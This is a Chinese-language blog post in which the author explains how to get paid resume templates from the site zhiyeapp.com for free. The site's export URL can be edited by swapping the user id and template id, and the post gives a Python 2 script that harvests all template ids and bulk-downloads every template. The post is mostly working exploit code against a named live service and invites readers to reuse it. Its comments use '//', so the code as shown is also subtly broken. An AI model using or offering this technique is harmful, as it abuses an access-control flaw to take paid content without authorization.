一次關于知頁簡歷模板批量下載的腳本

涉及知識

  • 正則表達式
  • 文件操作
  • BeautifulSoup.bs4 --解析xml
  • 慕課網視頻都有教程

實現思路

正在求職,找到知頁這個不錯的做簡歷的網站,然后用分享朋友圈的方式拿到了解鎖碼,然后舍友再使用的時候,已經不支持免費解鎖了,然后我看了下各個模板的下載地址,只有id不同,然后每個用戶可以下載第一個免費模板,從這個模板的下載地址中可以看到自己的用戶Id,所以就有了個想法,試了試用我的下載地址,換了用戶id,換了模板id,真的就免費下載到了想要的簡歷模板。。
所以就想到用最近學的python批量下載所有的模板,步奏就是

  • 找到自己的用戶id
  • 找出所有模板的id
  • 遍歷下載

第一步,import

import urllib2
import re
from bs4 import BeautifulSoup

第二步,獲取Html

這里本該是用urllib2獲取,但是因為要用到cookie略麻煩,就不用了
這里我是先用瀏覽器登錄,然后直接把源碼copy下來,然后用讀取文件的方式

file = open('Content.html')
try:
    html_cont = file.read()
finally:
    file.close()

第三步:BeautifulSoup.bs4用解析xml節點

soup = BeautifulSoup(html_cont, 'html.parser', from_encoding='utf-8')
cate_node = soup.find('div', class_="swiper-wrapper").find_all('div', class_="swiper-slide")
//遍歷這個節點根據條件查找子節點
idList = []
for item in cate_node:
    node = item.find('div', class_="swiperSlidemain urlclick")
    if node != None:
        //此處拼裝模板預覽的url
        dataUrl = r'http://www.zhiyeapp.com' + node['data-url']
        //用正則表達式,找出url中的模板id值,放入全局變量idList中
        pa = re.compile(r'\d+')
        list = pa.findall(dataUrl)
        idList.append(list[0])
    pass

其實這一步是為了獲取所有模板的id,獲取完發現,總共16個模板,id就是1-16..

第四步:拼裝下載url開始下載

//這是我的用戶id,后面隱藏了
id = 'n70WQtkNf2tExAmAGxz7vQ%3D%3D******'

for tId in idList:
    downloadUrl = r'http://www.zhiyeapp.com/resume/export?id='+id+'&template_id='+tId+'&is_contact=1'
    f = urllib2.urlopen(downloadUrl)
    data = f.read()
    with open("./test/Id-"+tId+'.pdf', "wb") as code:
        code.write(data)
    pass

效果圖

image.png

下載地址如圖

image.png

替換id和template_id即可

算是個系統實現的漏洞,所以才我被我這個初學者發現,哈哈

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容